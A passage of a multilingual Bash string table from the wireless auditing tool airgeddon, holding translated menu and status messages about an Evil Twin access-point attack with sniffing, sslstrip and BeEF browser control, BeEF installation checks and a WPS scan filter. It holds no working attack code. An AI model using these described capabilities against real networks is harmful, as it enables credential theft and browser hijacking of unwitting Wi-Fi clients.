installé" arr["CATALAN",400]="En l'atac Evil Twin amb BeEF integrat, a més d'obtenir claus amb sniffing, podràs intentar controlar el navegador dels clients llançant nombrosos vectors d'atac. L'èxit d'aquests dependrà de molts factors com el tipus de navegador i la versió que utilitzi el client" arr["PORTUGUESE",400]="No ataque Evil Twin com BeEF integrado, além de obter senhas com sniffing, você pode tentar controlar o navegador do cliente lançando inúmeros vetores de ataque. O sucesso destes dependerá de muitos fatores, como tipo de navegador e versão utilizada pelo cliente" arr["RUSSIAN",400]="С атакой Злой Двойник в дополнение к получению паролей сниффингом, вы можете попробовать контролировать клиентский браузер, запуская атаки по ряду векторов. Их успех зависит от многих факторов, в том числе от типа и версии клиентского браузера" arr["GREEK",400]="Στην επίθεση Evil Twin με ενσωματωμένο BeEF, εκτός από την απόκτηση κλειδιών με τη χρήση τεχνικών sniffing, μπορείτε να προσπαθήσετε να ελέγξετε τον browser του χρήστη-πελάτη κάνοντας χρήση κάποιων attack vectors. Η επιτυχία αυτών θα εξαρτηθεί από πολλούς παράγοντες όπως το είδος του browser του χρήστη-πελάτη και την έκδοσή του" arr["ITALIAN",400]="Nell'attacco Evil Twin con BeEF integrato, oltre ad ottenere le chiavi con sniffing, si può provare a controllare il browser dei clienti lanciando numerosi vettori di attacco. Il successo di questi attacchi dipende da molti fattori, come il tipo di browser e la versione utilizzata dal cliente" arr["POLISH",400]="W ataku Evil Twin ze zintegrowanym BeEF, oprócz uzyskiwania kluczy sniffingiem, można spróbować kontrolować przeglądarkę klientów, uruchamiając liczne ataki. Sukces tych działań będzie zależał od wielu czynników, takich jak typ przeglądarki i wersja używana przez klienta" arr["GERMAN",400]="Beim Evil-Twin Angriff mit integriertem BeEF können Sie nicht nur Schlüssel mit Sniffing erhalten, sondern auch versuchen, den Browser des Clients zu steuern, indem Sie zahlreiche Angriffsvektoren starten. Der Erfolg hängt von vielen Faktoren ab, beispielsweise vom Browsertyp und der vom Client verwendeten Version" arr["TURKISH",400]="BeEF ile Evil Twin saldırısında entegre olarak, koklama tekniklerini kullanarak anahtar elde etmenin yanı sıra, clientin tarayıcısını çok sayıda saldırı vektörünü başlatmaya çalışmayı deneyebilirsiniz. Bunların başarısı, clientin tarayıcısının türü ve versiyonu gibi birçok faktöre bağlı olacaktır" arr["ARABIC",400]="بالإضافة إلى الحصول على مفاتيح باستخدام تقنيات الشم ، يمكنك محاولة التحكم في متصفح العميل باستخدام العديد من الهجومات. سيعتمد نجاح هذه على العديد من العوامل مثل نوع متصفح العميل وإصداره ،BeEF مع دمج Evil Twin في هجوم" arr["CHINESE",400]="在集成 BeEF 的邪恶双胞胎攻击中,除了使用嗅探技术获取密钥外,还可以尝试控制客户端浏览器发起大量攻击请求。这些的成功将取决于许多因素,例如客户端浏览器的类型及其版本" arr["ENGLISH",401]="The beef package you have installed is not BeEF (Browser Exploitation Framework). You have Beef (Flexible Brainfuck interpreter) installed. Both executables have the same name and can lead to confusion. Uninstall it and install what airgeddon needs if you want to use that feature. Installation guide: \${normal_color}\${beef_installation_url}" arr["SPANISH",401]="El paquete beef que tienes instalado no es BeEF (Browser Exploitation Framework). Tienes instalado Beef (Flexible Brainfuck interpreter). Ambos ejecutables se llaman igual y puede dar lugar a confusión. Desinstálalo e instala el que airgeddon necesita si quieres usar esa característica. Guía de instalación: \${normal_color}\${beef_installation_url}" arr["FRENCH",401]="Le paquet beef installé n'est pas le bon: Vous avez installé Beef (Flexible Brainfuck interpreter) et vous devez installer BeEF (Browser Exploitation Framework). Les deux ont le même nom et peut induire en erreur. Désinstallez et installez la version dont airgeddon a besoin si vous souhaitez utiliser cette fonctionnalité. Guide d'installation: \${normal_color}\${beef_installation_url}" arr["CATALAN",401]="El paquet beef que tens instal·lat no és BeEF (Browser Exploitation Framework). Tens instal·lat Beef (Flexible Brainfuck interpreter). Tots dos executables es diuen igual i pot donar lloc a confusió. Desinstalalo i instal·la el que airgeddon necessita si vols utilitzar aquesta característica. Guia d'instal·lació: \${normal_color}\${beef_installation_url}" arr["PORTUGUESE",401]="O pacote beef instalado não é o BeEF (Browser Exploitation Framework). Você instalou Beef (Flexible Brainfuck interpreter). Ambos possuem o mesmo nome e executável o que pode levar a confusão. Desinstale-o e instale o que o airgeddon precisa se você quiser usar esse recurso. Guia de Instalação: \${normal_color}\${beef_installation_url}" arr["RUSSIAN",401]="Установленный вами пакет beef не является пакетом BeEF (Browser Exploitation Framework). Вы установили Beef (Flexible Brainfuck interpreter). Оба исполнимых файла имеют одинаковое имя и могут вызвать путаницу. Если вы хотите использовать эту функцию, удалите его и установите тот, который требует airgeddon. Инструкция по установке: \${normal_color}\${beef_installation_url}" arr["GREEK",401]="Το πακέτο beef που έχετε εγκαταστημένο δεν είναι το BeEF (Browser Exploitation Framework). Έχετε εγκατεστημένο το Beef (Flexible Brainfuck interpreter). Και τα δύο εκτελέσιμα αρχεία έχουν το ίδιο όνομα και μπορεί να γίνει κάποιο μπέρδεμα. Απεγκαταστήστε το και εγκαταστήστε αυτό που χρειάζεται το airgeddon, αν θέλετε να χρησιμοποιήσετε αυτή την επιλογή. Οδηγός εγκατάστασης: \${normal_color}\${beef_installation_url}" arr["ITALIAN",401]="Il pacchetto beef che hai installato non è BeEF (Browser Exploitation Framework). È stato installato Beef (Flexible Brainfuck interpreter). Entrambi gli eseguibili hanno lo nome e può essere fonte di confusione. Disinstallarlo e installare quello di cui ha bisogno airgeddon se si desidera utilizzare questa funzione. Guida all'installazione: \${normal_color}\${beef_installation_url}" arr["POLISH",401]="Zainstalowany pakiet beef nie jest BeEF (Browser Exploitation Framework). Masz zainstalowaną Beef (Flexible Brainfuck interpreter). Obydwa pliki wykonywalne są nazywane tak samo i mogą prowadzić do zamieszania. Odinstaluj i zainstaluj system airgeddon, jeśli potrzebujesz tej funkcji. Instrukcja instalacji: \${normal_color}\${beef_installation_url}" arr["GERMAN",401]="Das von Ihnen installierte beef-Paket ist nicht BeEF (Browser Exploitation Framework). Sie haben Beef (Flexible Brainfuck Interpreter) installiert. Beide ausführbare Dateien werden als gleich bezeichnet und können zu Verwirrung führen. Deinstallieren Sie es und installieren Sie das, das airgeddon benötigt, wenn Sie diese Funktion verwenden möchten. Installationsanleitung: \${normal_color}\${beef_installation_url}" arr["TURKISH",401]="Yüklediğiniz beef paketi, BeEF (Browser Exploitation Framework) değildir. Beef (Flexible Brainfuck interpreter) kurulu. Her iki yürütücü de aynı ada sahip ve karışıklığa yol açabilir. Bu özelliği kullanmak istiyorsanız kaldırın ve hangi airgeddon'un gereksinimlerini karşılayın. Kurulum kılavuzu: \${normal_color}\${beef_installation_url}" arr["ARABIC",401]="\${normal_color}\${beef_installation_url}\${red_color} :إذا كنت تريد استخدام هذه الميزة. دليل التثبيت airgeddon كلا الملفين التنفيذيين لهما نفس الاسم ويمكن أن يؤديا إلى الارتباك. قم بإلغاء تثبيته وتثبيت ما يحتاجه .مثبتًا Beef (Flexible Brainfuck interpreter) لديك .(Browser Exploitation Framework) التي قمت بتثبيتها ليست BeEF حزمة\${normal_color}" arr["CHINESE",401]="您已安装了 beef 包 (Brainfuck 语言解释器) 但需要 BeEF (Browser Exploitation Framework 浏览器开发框架) 。这两个可执行文件具有相同的名称,可能会导致混淆。如果您想使用该功能,请卸载 Beef (Brainfuck 语言解释器) 并安装 BeEF (Browser Exploitation Framework 浏览器开发框架) 。安装指南: \${normal_color}\${beef_installation_url}" arr["ENGLISH",402]="Enter the absolute path of the directory where BeEF is installed:" arr["SPANISH",402]="Introduce la ruta absoluta del directorio donde está instalado BeEF:" arr["FRENCH",402]="Entrez la route absolue vers le dossier où BeEF est installé:" arr["CATALAN",402]="Introdueix la ruta absoluta del directori on està instal·lat BeEF:" arr["PORTUGUESE",402]="Digite o caminho absoluto do diretório onde BeEF está instalado:" arr["RUSSIAN",402]="Введите абсолютный путь к каталогу, в котором установлен BeEF:" arr["GREEK",402]="Εισάγετε το απόλυτο μονοπάτι για τον κατάλογο στον όποιο βρίσκεται εγκατεστημένο το BeEF:" arr["ITALIAN",402]="Immettere il percorso assoluto della directory in cui è installato BeEF:" arr["POLISH",402]="Wprowadż ścieżkę absolutną do instalacji BeEF:" arr["GERMAN",402]="Geben Sie den absoluten Pfad des Verzeichnisses ein, in dem BeEF installiert ist:" arr["TURKISH",402]="BeEf'in kurulu olduğu dizini tam olarak giriniz:" arr["ARABIC",402]=":أدخل المسار المطلق للدليل حيث تم تثبيت BeEF" arr["CHINESE",402]="请输入安装 BeEF 的目录的绝对路径:" arr["ENGLISH",403]="The directory you entered doesn't exist" arr["SPANISH",403]="El directorio introducido no existe" arr["FRENCH",403]="Le dossier indiqué n'existe pas" arr["CATALAN",403]="El directori introduït no existeix" arr["PORTUGUESE",403]="O diretório digitado não existe" arr["RUSSIAN",403]="Каталог, который вы ввели, не существует" arr["GREEK",403]="Ο κατάλογος που έχετε εισάγει δεν υπάρχει" arr["ITALIAN",403]="La cartella indicata non esiste" arr["POLISH",403]="Wprowadzony katalog nie istnieje" arr["GERMAN",403]="Das eingegebene Verzeichnis existiert nicht" arr["TURKISH",403]="Girdiğiniz dizin mevcut değil" arr["ARABIC",403]="الدليل أدخلته غير موجود" arr["CHINESE",403]="您输入的目录不存在" arr["ENGLISH",404]="The entered path isn't absolute. An absolute path must always begin with \"/\"" arr["SPANISH",404]="La ruta introducida no es absoluta. Una ruta absoluta siempre debe comenzar por \"/\"" arr["FRENCH",404]="La route saisie n'est pas absolue. Une route absolue doit toujours commencer par \"/\"" arr["CATALAN",404]="La ruta introduïda no és absoluta. Una ruta absoluta sempre ha de començar per \"/\"" arr["PORTUGUESE",404]="O caminho digitado não é absoluto. Um caminho absoluto deve sempre começar com \"/\"" arr["RUSSIAN",404]="Введенный путь не является абсолютным. Абсолютный путь всегда должен начинаться с \"/\"" arr["GREEK",404]="Το μονοπάτι που έχετε εισάγει δεν είναι απόλυτο. Ένα απόλυτο μονοπάτι πρέπει πάντα να ξεκινάει με \"/\"" arr["ITALIAN",404]="Il percorso immesso non è assoluto. Un percorso assoluto deve sempre iniziare con \"/\"" arr["POLISH",404]="Wprowadzona ścieżka nie jest absolutna. Ścieżka abolutna musi się zawsze zaczynać od \"/\"" arr["GERMAN",404]="Der eingegebene Pfad ist nicht absolut. Ein absoluter Pfad sollte immer mit \"/\" beginnen" arr["TURKISH",404]="Girilen yol mutlak değildir. Mutlak bir yol daima \"/\" ile başlamalıdır" arr["ARABIC",404]="\"/\" المسار الذي تم إدخاله ليس مطلقًا. يجب أن يبدأ المسار المطلق دائمًا بـ" arr["CHINESE",404]="您输入的路径有误。绝对路径必须始终以 \"/\" 开头" arr["ENGLISH",405]="Checking BeEF..." arr["SPANISH",405]="Comprobando BeEF..." arr["FRENCH",405]="Vérification de BeEF..." arr["CATALAN",405]="Comprovant BeEF..." arr["PORTUGUESE",405]="Verificando BeEF..." arr["RUSSIAN",405]="Проверка BeEF..." arr["GREEK",405]="Γίνεται έλεγχος του BeEF..." arr["ITALIAN",405]="Controllando BeEF..." arr["POLISH",405]="Sprawdzanie BeEF..." arr["GERMAN",405]="BeEF wird überprüft..." arr["TURKISH",405]="BeEF kontrol ediliyor..." arr["ARABIC",405]="...BeEF جارٍ التحقق من" arr["CHINESE",405]="正在检查 BeEF..." arr["ENGLISH",406]="No BeEF executable was detected in given directory" arr["SPANISH",406]="No se ha detectado un ejecutable de BeEF en el directorio indicado" arr["FRENCH",406]="BeEF n'est pas présent dans le dossier que vous avez indiqué" arr["CATALAN",406]="No s'ha detectat un executable de BeEF al directori indicat" arr["PORTUGUESE",406]="O executável do BeEF não foi detectado no diretório especificado" arr["RUSSIAN",406]="Ни один исполняемый файл BeEF не был обнаружен в заданной директории" arr["GREEK",406]="Δεν εντοπίστηκε κάποιο εκτελέσιμο αρχείο BeEF στον κατάλογο που έχετε εισάγει" arr["ITALIAN",406]="Non è stato rilevato un eseguibile di BeEF nella directory specificata" arr["POLISH",406]="Nie znaleziono pliku wykonywalnego BeEF w danym katalogu" arr["GERMAN",406]="Keine BeEF-Programmdatei wurde im angegebenen Verzeichnis nicht gefunden" arr["TURKISH",406]="Girilen dizinde BeEF yürütülebilir bulunamadı" arr["ARABIC",406]="قابل للتنفيذ في دليل معين BeEF لم يتم اكتشاف" arr["CHINESE",406]="在给定目录中未检测到 BeEF 可执行文件" arr["ENGLISH",407]="BeEF preparation" arr["SPANISH",407]="Preparación BeEF" arr["FRENCH",407]="Mise en place de BeEF" arr["CATALAN",407]="Preparació BeEF" arr["PORTUGUESE",407]="Preparando BeEF" arr["RUSSIAN",407]="Подготовка BeEF" arr["GREEK",407]="Προετοιμασία του BeEF" arr["ITALIAN",407]="Preparando BeEF" arr["POLISH",407]="Przygotowanie BeEF" arr["GERMAN",407]="BeEF wird vorbereitet" arr["TURKISH",407]="BeEF hazırlanması" arr["ARABIC",407]="BeEFتحضير" arr["CHINESE",407]="BeEF 准备" arr["ENGLISH",408]="If you installed BeEF manually, airgeddon might not be able to find it and the attack option can appear as restricted. You can try to solve it using the special menu option to fix this. It will work only if BeEF is already correctly installed and your unique problem is the script is not detecting it" arr["SPANISH",408]="Si instalaste BeEF manualmente, puede que airgeddon no sea capaz de encontrarlo y la opción del ataque te aparezca restringida. Puedes intentar solucionarlo usando la opción del menú especial para ello. Esto sólo funcionará si BeEF ya está instalado correctamente y el único problema que tienes es que el script no lo detecta" arr["FRENCH",408]="Si BeEF a été installé manuellement, il se peut qu'airgeddon ne soit pas en mesure de le trouver. L'option dédiée ne sera pas accessible. Vous pouvez essayer de la réparer en utilisant l'option consacrée à cette tâche depuis le menu spécial. Ça ne marchera que si BeEf est correctement instalé et c'est le script qui n'est pas capable de le détecter" arr["CATALAN",408]="Si vas instal·lar BeEF manualment, pot ser que airgeddon no sigui capaç de trobar-lo i l'opció de l'atac t'aparegui restringida. Pots intentar solucionar usant l'opció del menú especial per a això. Això només funcionarà si BeEF ja està instal·lat correctament i l'únic problema que tens és que el script no el detecta" arr["PORTUGUESE",408]="Se BeEF foi instalado manualmente, o airgeddon não pode encontrá-lo automaticamente e a opção de ataque aparecerá bloqueada. Você pode tentar corrigi-lo usando a opção de menu especial para isso. Isso só vai funcionar se BeEF já está instalado corretamente e o único problema que você tem é que o script não o detecta" arr["RUSSIAN",408]="Если вы установили BeEF вручную, airgeddon может быть не в состоянии найти его, и опция атаки в меню может быть ограничена. Для исправления этого, вы можете попытаться решить эту проблему с помощью специального пункта меню. Это сработает только если BeEF уже правильно установлен, и ваша единственная проблема в том, что скрипт не обнаруживает его" arr["GREEK",408]="Εάν έχετε εγκαταστήσει χειροκίνητα το BeEF, το airgeddon μπορεί να μην μπορέσει να το βρεί και η επιλογή της επίθεσης μπορεί να φανεί σαν περιορισμένη. Μπορείτε να προσπαθήσετε να διορθώσετε το πρόβλημα κάνοντας χρήση της ειδικής επιλογής στο μενού. Θα λειτουργήσει μόνο αν το BeEF έχει ήδη εγκατασταθεί σωστά και το μόνο πρόβλημα είναι ότι το script δεν το εντοπίζει" arr["ITALIAN",408]="Se BeEF è stato installato manualmente, airgeddon potrebbe non essere in grado di trovarlo e l'opzione di attacco apparirà limitata. Si può cercare di risolvere il problema utilizzando l'opzione del menú specifica per questo. Questo funzionerá solo se BeEF è già installato correttamente e l'unico problema che hai è che lo script non lo rileva" arr["POLISH",408]="Jeśli zainstalowałeś BeEF ręcznie, airgeddon może nie być w stanie go znaleźć, a opcja atakowania będzie ograniczona. Możesz spróbować rozwiązać ten problem używając specjalnej opcji menu. To będzie działać tylko wtedy, gdy BeEF jest już poprawnie zainstalowany i jedynym problemem jest to, że skrypt go nie wykrywa" arr["GERMAN",408]="Wenn Sie BeEF manuell installiert haben, kann airgeddon es möglicherweise nicht finden und die Angriffsoption scheint eingeschränkt zu sein. Sie können versuchen, es mit hilfe der speziellen Menüoption dafür zu lösen. Dies funktioniert nur, wenn BeEF bereits korrekt installiert ist und das einzige Problem, das Sie haben, ist, dass das Skript es nicht erkennt" arr["TURKISH",408]="BeEF'i manuel olarak yüklediyseniz, airgeddon onu bulamayabilir ve saldırı seçeneği kısıtlı olarak görünebilir. Bunu düzeltmek için özel menü seçeneğini kullanarak çözmeyi deneyebilirsiniz. Sadece BeEF zaten doğru bir şekilde kurulmuşsa ve tek sorun, komut dosyasının bunu algılamaması durumunda çalışır" arr["ARABIC",408]="بالفعل بشكل صحيح ومشكلتك الفريدة هي أن البرنامج لا يكتشفه BeEF من العثور عليه ويمكن أن يظهر خيار الهجوم على أنه مقيد. يمكنك محاولة حلها باستخدام خيار القائمة الخاص لإصلاح ذلك. لن يعمل إلا إذا تم تثبيت airgeddon يدويًا ، فقد لا يتمكن BeEF إذا قمت بتثبيت" arr["CHINESE",408]="如果您已经手动安装了 BeEF,但 airgeddon 无法找到它并且导致攻击选项显示为受限时,您可以尝试使用特殊菜单选项来解决此问题。仅当 BeEF 已正确安装并且脚本未检测到它时,才会起作用" arr["ENGLISH",409]="1. Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeEF" arr["SPANISH",409]="1. Ataque Evil Twin AP con sniffing y bettercap-sslstrip2/BeEF" arr["FRENCH",409]="1. Attaque Evil Twin avec capture des données et bettercap-sslstrip2/BeEF" arr["CATALAN",409]="1. Atac Evil Twin AP amb sniffing i bettercap-sslstrip2/BeEF" arr["PORTUGUESE",409]="1. Ataque Evil Twin AP com sniffing e bettercap-sslstrip2/BeEF" arr["RUSSIAN",409]="1. Атака Злой Двойник ТД со сниффингом и bettercap-sslstrip2/BeEF" arr["GREEK",409]="1. Επίθεση Evil Twin AP με sniffing και bettercap-sslstrip2/BeEF" arr["ITALIAN",409]="1. Attacco Evil Twin AP con sniffing e bettercap-sslstrip2/BeEF" arr["POLISH",409]="1. Atak Evil Twin AP ze sniffingiem i bettercap-sslstrip2/BeEF" arr["GERMAN",409]="1. Evil Twin AP Angriff mit Sniffing und bettercap-sslstrip2/BeEF" arr["TURKISH",409]="1. Sniffing ve bettercap-sslstrip2/BeEF ile Kötü İkiz AP saldırısı" arr["ARABIC",409]="1. bettercap-sslstrip2/BeEFمع الشم و Evil Twin AP هجوم" arr["CHINESE",409]="1. 带有嗅探和 bettercap-sslstrip2/BeEF 的邪恶双胞胎 AP 攻击" arr["ENGLISH",410]="2. Try to troubleshoot manually installed BeEF dependency problem" arr["SPANISH",410]="2. Intentar solucionar problema de dependencia BeEF instalado manualmente" arr["FRENCH",410]="2. Essayer de résoudre les problèmes de dépendances avec BeEF installé manuellement" arr["CATALAN",410]="2. Intentar solucionar problema de dependència BeEF instal·lat manualment" arr["PORTUGUESE",410]="2. Tentar resolver o problema de dependência do BeEF instalado manualmente" arr["RUSSIAN",410]="2. Попробуйте устранить проблему вручную установив зависимости BeEF" arr["GREEK",410]="2. Προσπαθήστε να αντιμετωπίσετε το πρόβλημα με τα dependencies του χειροκίνητα εγκατεστημένου BeEF" arr["ITALIAN",410]="2. Cercare di risolvere il problema delle dipende di BeEF installato manualmente" arr["POLISH",410]="2. Próba rozwiązywania problemów z ręcznie zainstalowanym BeEF" arr["GERMAN",410]="2. Versuche manuell installierte BeEF-Abhängigkeitsprobleme zu lösen" arr["TURKISH",410]="2. El ile yüklenmiş BeEF bağımlılık sorununu gidermeye çalışın" arr["ARABIC",410]="2. المثبتة يدويًا وإصلاحها BeEF حاول استكشاف مشكلة تبعية" arr["CHINESE",410]="2. 尝试解决手动安装的 BeEF 依赖问题" arr["ENGLISH",411]="WPS filter enabled in scan. When started, press [Ctrl+C] to stop..." arr["SPANISH",411]="Filtro WPS activado en escaneo. Una vez empezado, pulse [Ctrl+C] para pararlo..." arr["FRENCH",411]="Le filtre WPS est activé dans la scan. Une fois l'opération lancée, veuillez presser [Ctrl+C] pour l'arrêter..." arr["CATALAN",411]="Filtre WPS activat en escaneig. Una vegada iniciat, polsi [Ctrl+C] per detenir-ho..." arr["PORTUGUESE",411]="Filtro WPS ativo na busca de redes wifi. Uma vez iniciado, pressione [Ctrl+C] para pará-lo..." arr["RUSSIAN",411]="Для сканирования включен фильтр WPS. После запуска, нажмите [Ctrl+C] для остановки..." arr["GREEK",411]="Το φίλτρο WPS ενεργοποιήθηκε κατά τη σάρωση. Όταν αρχίσει, μπορείτε να το σταματήσετε πατώντας [Ctrl+C]..." arr["ITALIAN",411]="Filtro WPS attivato nella scansione. Una volta avviata, premere [Ctrl+C] per fermarla..." arr["POLISH",411]="Filtr WPS aktywowany podczas skanowania. Naciśnij [Ctrl+C] w trakcie trwania, aby zatrzymać..." arr["GERMAN",411]="WPS-Filter beim Scannen aktiviert. Nach dem Start, drücken Sie [Ctrl+C], um es zu stoppen..." arr["TURKISH",411]="WPS filtresi taramada etkinleştirildi. Başladığınızda, durdurmak için [Ctrl+C] tuşlarına basın..." arr["ARABIC",411]="...للإيقاف [Ctrl+C] في الفحص. عند البدء ، اضغط على WPS تم تفعيل مرشح" arr["CHINESE",411]="已经在扫描中启用 WPS 过滤器。扫描时,按 [Ctrl+C] 停止..." arr["ENGLISH",412]="You don't need to perform this action. Your BeEF is operational" arr["SPANISH",412]="No necesitas realizar esta acción. Tu BeEF está operativo" arr["FRENCH",412]="Vous n'êtes pas obligé de le faire. BeEF est opérationnel" arr["CATALAN",412]="No necessites realitzar aquesta acció. El teu BeEF està operatiu" arr["PORTUGUESE",412]="Você não precisa fazer isso. Seu BeEF está operacional" arr["RUSSIAN",412]="Вам не нужно выполнять это действие. Ваш BeEF находится в рабочем состоянии" arr["GREEK",412]="Δεν χρειάζεται να εκτελέσετε αυτήν την ενέργεια. Το BeEF λειτουργεί κανονικά" arr["ITALIAN",412]="Non è necessario fare questo. Il tuo BeEF è operativo" arr["POLISH",412]="Nie musisz tego robić. Twoja BeEF działa" arr["GERMAN",412]="Sie müssen diese Aktion nicht durchführen. Ihr BeEF ist betriebsbereit" arr["TURKISH",412]="Bu eylemi gerçekleştirmeniz gerekmez. BeEF'in operasyonel" arr["ARABIC",412]="الخاص بك جاهز للعمل BeEF .لست بحاجة إلى تنفيذ هذا الإجراء" arr["CHINESE",412]="您不需要执行此操作。您的 BeEF 正在运行" arr["ENGLISH",413]="airgeddon fixed the problem. Your BeEF is operational" arr["SPANISH",413]="airgeddon ha solucionado el problema. Tu BeEF está operativo" arr["FRENCH",413]="airgeddon a résolu le problème. BeEF est opérationnel" arr["CATALAN",413]="airgeddon ha solucionat el problema. El teu BeEF està operatiu" arr["PORTUGUESE",413]="O airgeddon corrigiu o problema. Seu BeEF está operacional" arr["RUSSIAN",413]="airgeddon устранил проблему. Ваш BeEF находится в рабочем состоянии" arr["GREEK",413]="Το airgeddon διόρθωσε το πρόβλημα. Το BeEF λειτουργεί κανονικά" arr["ITALIAN",413]="airgeddon ha risolto il problema. Il tuo BeEF è operativo" arr["POLISH",413]="airgeddon rozwiązał problem. Twoja BeEF działa" arr["GERMAN",413]="airgeddon hat das Problem gelöst. Ihr BeEF ist betriebsbereit" arr["TURKISH",413]="airgeddon sorunu çözdü. BeEF'in operasyonel" arr["ARABIC",413]="الخاص بك جاهز للعمل BeEF .أصلحت المشكلة airgeddon" arr["CHINESE",413]="airgeddon 已经解决了这个问题。您的 BeEF 正在运行" arr["ENGLISH",414]="You don't have curl installed. Is not possible to download PINs database file" arr["SPANISH",414]="No tienes curl instalado. No se puede descargar el fichero de la base de datos de PINs" arr["FRENCH",414]="Curl n'est pas installé. Vous ne pouvez pas télécharger le fichier de la base de donées PIN" arr["CATALAN",414]="No tens curl instal·lat. No es pot descarregar el fitxer de la base de dades de PINs" arr["PORTUGUESE",414]="Você não tem o pacote curl instalado. Você não pode baixar o arquivo com banco de dados de PINs" arr["RUSSIAN",414]="У вас не установлен curl. Невозможно загрузить файл базы данных PIN" arr["GREEK",414]="Το curl δεν είναι εγκατεστημένο. Είναι αδύνατον να κατέβει το αρχείο με την βάση δεδομένων PIN" arr["ITALIAN",414]="Non si dispone di curl installato. Non è possibile scaricare il file della base dati dei PINs" arr["POLISH",414]="Nie masz zainstalowanego curl. Nie można pobrać pliku bazy danych kodu PIN" arr["GERMAN",414]="Sie haben curl nicht installiert. Die PIN-Datenbank konnte nicht heruntergeladen werden" arr["TURKISH",414]="Curl yüklü değil. PIN veritabanı dosyasını indirmek için Curl kurulu olmalı" arr["ARABIC",414]="PIN مثبت. لا يمكن تنزيل ملف قاعدة بيانات curl ليس لديك" arr["CHINESE",414]="您没有安装 curl 包。故无法下载 PIN 数据库文件" arr["ENGLISH",415]="\${blue_color}airgeddon knows you have BeEF installed and you pass the validation, but it was unable to locate the right directory path where you have BeEF installed. Knowing the location gives some advantages for the execution because its configuration file can be customized instead of generic. \${green_color}Do you want to enter it manually? \${normal_color}\${visual_choice}" arr["SPANISH",415]="\${blue_color}airgeddon sabe que tienes BeEF instalado y pasas la validación, pero no ha podido concretar la ruta del directorio exacto donde tienes instalado BeEF. Conocer la localización exacta tiene algunas ventajas a la hora de ejecutarlo ya que la configuración será personalizada en lugar de ser una configuración genérica. \${green_color}¿Quieres introducirla manualmente? \${normal_color}\${visual_choice}" arr["FRENCH",415]="\${blue_color}airgeddon a bien détecté que BeEF est installé mais il n'est malheuruesement pas possible de trouver le dossier le contenant. En l'état actuel des choses il ne sera pas possible de personaliser les parmétres d'éxécution de BeEF. \${green_color}Voulez-vous saisir l'emplacement du dossier? \${normal_color}\${visual_choice}" arr["CATALAN",415]="\${blue_color}airgeddon sap que tens BeEF instal·lat i passes la validació, però no ha pogut concretar la ruta del directori exacte on has instal·lat BeEF. Conèixer la localització exacta té alguns avantatges a l'hora d'executar ja que la configuració serà personalitzada en lloc de ser una configuració genèrica. \${green_color}¿Vols introduir-la manualment? \${normal_color}\${visual_choice}" arr["PORTUGUESE",415]="\${blue_color}O airgeddon sabe que você instalou o BeEF e validou a instalação, mas não pôde encontrar o diretório exato onde você instalou o BeEF. Saber a localização exata tem algumas vantagens quando executá-lo a configuração será personalizada em vez de uma configuração genérica. \${green_color}Você quer inseri-la manualmente? \${normal_color}\${visual_choice}" arr["RUSSIAN",415]="\${blue_color}airgeddon знает, что у вас установлен BeEF и вы успешно прошли проверку, но скрипт оказался не в состоянии найти правильный путь к каталогу, где вы установили BeEF. Знание расположения даёт некоторые преимущества при выполнении, поскольку появляется возможность настроить его конфигурационный файл, а не использовать настройки по умолчанию. \${green_color}Вы хотите ввести расположение вручную? \${normal_color}\${visual_choice}" arr["GREEK",415]="\${blue_color}Το airgeddon γνωρίζει ότι έχετε εγκατεστημένο το BeEF και έχετε περάσει τους απαραίτητους ελέγχους, αλλά δεν μπόρεσε να εντοπίσει το σωστό μονοπάτι για τον κατάλογο όπου έχετε εγκαταστήσει το BeEF. Γνωρίζοντας το μονοπάτι για τον κατάλογο κάνει την διαδικασία της εκτέλεσης πλεονεκτική γιατί το αρχείο παραμέτρων μπορεί να ρυθμιστεί καταλλήλως, αντιθέτως με το προεπιλεγμένο. \${green_color}Θέλετε να το εισάγετε χειροκίνητα; \${normal_color}\${visual_choice}" arr["ITALIAN",415]="\${blue_color}airgeddon sa che hai BeEF installato e passi la validazione, peró non ha potuto trovare il percorso esatto della directory in cui hai installato BeEF. Conoscere l'esatta posizione ha alcuni vantaggi all'ora di eseguiro perchè la configurazione sarà personalizzata, piuttosto che una configurazione generica. \${green_color}Vuoi inserirla manualmente? \${normal_color}\${visual_choice}" arr["POLISH",415]="\${blue_color}airgeddon wie, że masz zainstalowaną wersję BeEF i przejdziesz walidację, ale nie możesz określić dokładnej ścieżki katalogu, w której zainstalowałeś BeEF. Znajomość dokładnej lokalizacji ma pewne zalety w czasie jej wykonywania, ponieważ konfiguracja zostanie dostosowana do indywidualnych potrzeb, a nie jako konfiguracja ogólna. \${green_color}Czy chcesz ją wprowadzić ręcznie? \${normal_color}\${visual_choice}" arr["GERMAN",415]="\${blue_color}airgeddon weiß, dass Sie BeEF installiert haben und Sie die Validierung bestehen, aber airgeddon konnte den genauen Verzeichnispfad, in den BeEF installiert ist, nicht angeben. Die genaue Position zu kennen, hat zum Zeitpunkt der Ausführung einige Vorteile, da die Konfiguration personalisiert wird, anstatt eine generische Konfiguration zu sein. \${green_color}Möchten Sie es manuell eingeben? \${normal_color}\${visual_choice}" arr["TURKISH",415]="\${blue_color}airgeddon, BeEF'in yüklü olduğunu ve doğrulama işlemini geçtiğinizi biliyor, ancak BeEF'in kurulu olduğu doğru dizin yolunu bulamadı. Konumun bilinmesi, yapılandırma dosyasının jenerik yerine özelleştirilebilmesi nedeniyle yürütme için bazı avantajlar sağlar. \${green_color}El ile girmek istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",415]="\${normal_color}\${visual_choice}\${green_color} هل تريد إدخاله يدويًا؟\${blue_color} .توفر معرفة الموقع بعض المزايا للتنفيذ لأنه يمكن تخصيص ملف التكوين الخاص به بدلاً من العام .BeEF مثبتًا وأنك نجحت في التحقق من الصحة ، لكنه لم يتمكن من تحديد مسار الدليل الصحيح حيث تم تثبيت BeEF أن لديك airgeddon يعرف\${normal_color}" arr["CHINESE",415]="\${blue_color}airgeddon 知道您安装了 BeEF 并且通过了验证,但是无法找到安装 BeEF 的正确目录路径。知道位置为执行提供了一些优势,因为它的配置文件可以自定义而不是通用的。 \${green_color}您要手动输入吗?\${normal_color}\${visual_choice}" arr["ENGLISH",416]=" You can run BeEF, but it is better if you run the second option before" arr["SPANISH",416]=" Puedes ejecutar BeEF, pero es recomendable ejecutar la segunda opción antes" arr["FRENCH",416]=" Vous pouvez exécuter BeEF mais il est recommandé d'exécuter préalablement la deuxième option" arr["CATALAN",416]=" Pots executar BeEF, però és recomanable executar la segona opció del menú abans" arr["PORTUGUESE",416]=" Você pode executar BeEF, mas é recomendado executar a segunda opção de menu antes" arr["RUSSIAN",416]=" Вы можете запустить 